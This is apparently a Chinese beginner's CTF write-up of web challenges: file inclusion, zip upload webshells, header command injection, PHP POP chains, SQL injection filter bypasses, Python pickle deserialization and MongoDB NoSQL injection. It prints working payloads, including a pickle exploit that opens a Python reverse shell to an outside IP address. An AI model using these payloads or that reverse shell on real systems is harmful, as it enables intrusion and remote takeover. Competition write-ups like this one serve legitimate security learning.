纯萌新,贴出自己的wp,一起交流学习QWQ

目录

zupload

zupload-pro

zupload-pro-plus

zupload-pro-plus-max

zupload-pro-plus-max-ultra

zupload-pro-plus-max-ultra-premium

zupload-pro-revenge

zupload-pro-plus-enhanced

POPgadget

sql教学局

Pickelshop

readbooks

king


zupload

下载源码,看到index里面

die(file_get_contents($_GET['action']));

就是个读文件的操作嘛,参数无过滤,直接上payload

 ?action=/flag

zupload-pro

和上一题比起来增加了过滤,不能直接读根目录,也不能目录穿越。

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {die('

Invalid action

');}die(file_get_contents($_GET['action']));

直接伪协议即可

payload:

?action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus

这题对上传文件后缀做了一些过滤,但我们又不用上传文件,上一题payload一样能用

if ($_GET['action'][0] === '/' || strpos($_GET['action'], '..') !== false) {die('

Invalid action

');}die(file_get_contents($_GET['action']));

payload:

?action=php://filter/convert.base64-encode/resource=/flag

zupload-pro-plus-max

if ($_GET['action'][0] === '/' || substr_count($_GET['action'], '/') > 1) {die('

Invalid action

');}die(include($_GET['action']));

对’/’个数做了限制,相当于ban了伪协议,直接读文件可能性不大了,只能上传马再文件包含拿shell了

else if ($_SERVER['REQUEST_METHOD'] == 'POST') {$file = $_FILES['file'];$file_name = $file['name'];$file_tmp = $file['tmp_name'];$file_size = $file['size'];$file_error = $file['error'];$file_ext = explode('.', $file_name);$file_ext = strtolower(end($file_ext));$allowed = array('zip');if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {if ($file_error === 0) {if ($file_size  'ok','message' => 'File uploaded successfully','url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination));}}}} else {echo json_encode(array('status' => 'error','message' => 'Only zip files are allowed'));}

这段代码负责处理文件上传请求,限制上传文件的格式为zip,并进行一系列的验证和操作,最后返回相应的成功或错误信息

对文件内容无过滤,这不嘎嘎乱传

先随便创建个txt文件,压缩成zip文件,放到010editor里在文件末尾加上恶意代码

注意不要破坏zip文件格式,否则文件损坏过不了检测

上传成功后访问” />

zupload-pro-plus-max-ultra

继续审计index.php代码,发现文件包含没了,但多一处exec命令执行

exec(‘unzip ‘ . $file_tmp . ‘ -d ‘ . $extract_to);

其中$extract_to = $_SERVER[‘HTTP_X_EXTRACT_TO’] ?? ‘uploads/’;

即extract是可以控制的,可以进行无回显rce,最简单的就是直接写文件

<?phperror_reporting(0);if ($_SERVER['REQUEST_METHOD'] == 'GET') {die(file_get_contents('./upload'));} else if ($_SERVER['REQUEST_METHOD'] == 'POST') {$file = $_FILES['file'];$file_name = $file['name'];$file_tmp = $file['tmp_name'];$file_size = $file['size'];$file_error = $file['error'];$extract_to = $_SERVER['HTTP_X_EXTRACT_TO'] ?? 'uploads/';$file_ext = explode('.', $file_name);$file_ext = strtolower(end($file_ext));$allowed = array('zip');if (in_array($file_ext, $allowed)) {if ($file_error === 0) {if ($file_size  'ok','message' => 'File uploaded successfully','url' => preg_split('/\?/', $_SERVER['HTTP_REFERER'])[0] . $file_destination));}}} else {echo json_encode(array('status' => 'error','message' => 'Only zip files are allowed'));}}

payload:

X-Extract-To: ;cat /flag > flag.txt

访问/flag.txt

zupload-pro-plus-max-ultra-premium

exec中没有可控的变量($file_destination也被uniqid处理过)

直接rce可能性不大

if (in_array($file_ext, $allowed) && (new ZipArchive())->open($file_tmp) === true) {if ($file_error === 0) {if ($file_size  'error','message' => 'Failed to upload file'));}exec('unzip ' . escapeshellarg($file_destination) . ' -d ' . 'uploads/');echo json_encode(array('status' => 'ok','message' => 'File uploaded successfully','url' => preg_split('/\" />【CISCN2023】unzip 详解

先上传link.zip,再上传link1.zip,再上传link2.zip。

等待5分钟使配置文件生效,直接在/index.php读flag

zupload-pro-revenge

文件上传部分几乎没有过滤,甚至后缀也是自由的,直接传马

直接去访问/uploads/1.php

zupload-pro-plus-enhanced

这题后台不会自动解压缩了,但问题不大

$file_ext = explode('.', $file_name);$file_ext = strtolower($file_ext[1]);

重点是这段代码,后缀的处理存在漏洞,只要构造1.zip.php,那么只会检查第一个点号后面的zip,PHP文件会正常执行,payload如下

直接访问/uploads/1.zip.php

POPgadget

因为__wakeup会注册FLAG的环境变量,所以考虑直接phpinfo读flag

exp:

a))){return "No test in Prod\n";}return $this->a->$p();}}class B {public $p;public function __destruct(){$p = $this->p;echo $this->a->$p;}}$c=new Fun();$b=new A();$a=new B();$a->a=$b;$a->p='phpinfo';$b->a=$c;echo (serialize($a));

最终payload:

?begin=O:1:"B":2:{s:1:"p";s:7:"phpinfo";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";s:20:"call_user_func_array";}}}

在phpinfo里找到flag

sql教学局

先简单fuzz一下

发现有替换为空的,也有直接ban了的

第一段:

查库

1'/**/union/**/sselectelect/**/group_concat(schema_name)/**/ffromrom/**/infoorrmation_schema.schemata#

#secret

查表

1'/**/union/**/sselectelect/**/group_concat(table_name)/**/ffromrom/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/'secret'#

#password

查字段

1'/**/union/**/sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'passwoorrd'#

#flag,id,note

查flag

1'/**/union/**/sselectelect/**/group_concat(flag)/**/ffromrom/**/secret.passwoorrd#

#flag{c246bd15-

找第二段flag

查字段

1'/**/union/**/sselectelect/**/group_concat(column_name)/**/ffromrom/**/infoorrmation_schema.columns/**/where/**/table_name/**/like/**/'scoorre'#

#grade,student

查值

1'/**/union/**/sselectelect/**/group_concat(grade)/**/ffromrom/**/scoorre/**/where/**/student/**/like/**/'begin'#

#c918-4ea1-ac76

第三段flag

读/flag文件

1'/**/union/**/sSELECTELECT/**/lloadoad_file('/flag')#

#-bc7b91a9d108}

三段flag拼起来,flag{c246bd15-c918-4ea1-ac76-bc7b91a9d108}

Pickelshop

一看题目名就是pickle反序列化

贴一篇自己之前写的Python的反序列化漏洞个人笔记

进来发现有注册、登录、和pickelshop,pickelshop没啥用

随便注册一下,发现返回了cookie

import pickleimport base64s=base64.b64decode('gASVKQAAAAAAAAB9lCiMCHVzZXJuYW1llIwFWjNyNHmUjAhwYXNzd29yZJSMAzEyM5R1Lg==')print(pickle.loads(s))

验证是pickle反序列化

写个exp

import pickleimport osimport base64class exp(object):def __reduce__(self):s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.136.33",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' """return os.system, (s,)e = exp()s = pickle.dumps(e)user = base64.b64encode(s).decode()print(user)

注意服务器是linux进行反序列化操作,我们也要在linux上进行序列化操作,否则会报错

记得提前监听1337端口

在login的路由cookie上打入(简单的逆向思维)

成功反弹shell拿到flag

readbooks

从/list/book1和/public/book1不同回显大概可以推测出/public这个路由是个读文件的操作

比如cat*是读当前目录下所有文件内容

输入public/* 可以发现源码

@app.route('/')@app.route('/index')def hello_world():return render_template('index.html')@app.route('/public/')def readbook(name):name = str(name)for i in DISALLOWED1:if i in name:return "banned!"for j in DISALLOWED_FILES:if j in name:return "banned!"for k in BLACKLIST:if k in name:return "banned!"print(name)try:res = os.popen('cat {}'.format(name)).read()return resexcept:return "error"

过滤如下:

DISALLOWED1 = ['" />DISALLOWED_FILES = ['app.py', 'templates', 'etc', 'flag', 'blacklist']

BLACKLIST = [x[:-1] for x in open("./blacklist.txt").readlines()][:-1]

经过尝试后可以使用反引号+引号配合echo出文件名即可

思路是`echo ‘/flag’`, echo被过滤使用’ec''ho’, 空格被过滤使用${IFS}

然后/flag通过base64编码,L2ZsYWc=,但是等号被过滤,可以对/flag*编码得到L2ZsYWcq

得到flag的文件是/_flag

对/_flag 进行编码L19mbGFn

再传入payload

`'ec''ho'${IFS}L19mbGFn|'ba''se64'${IFS}-d`

king

题目hint:

贴一篇文章学习一下:Nosql 注入从零到一

先开着bp,再输入网址,抓包如下

看着一大坨回显应该是MongoDB

是个遍历查询,我们把这部分放到repeater里

然后把左边一大坨改成查看集合(类似于sql里的数据库)

{"query":{"listCollections":1}}

看到了flag的字段文件

然后可以用find命令去读flag文件值

{"query":{"find":"flagjyqe9i21fcf"}}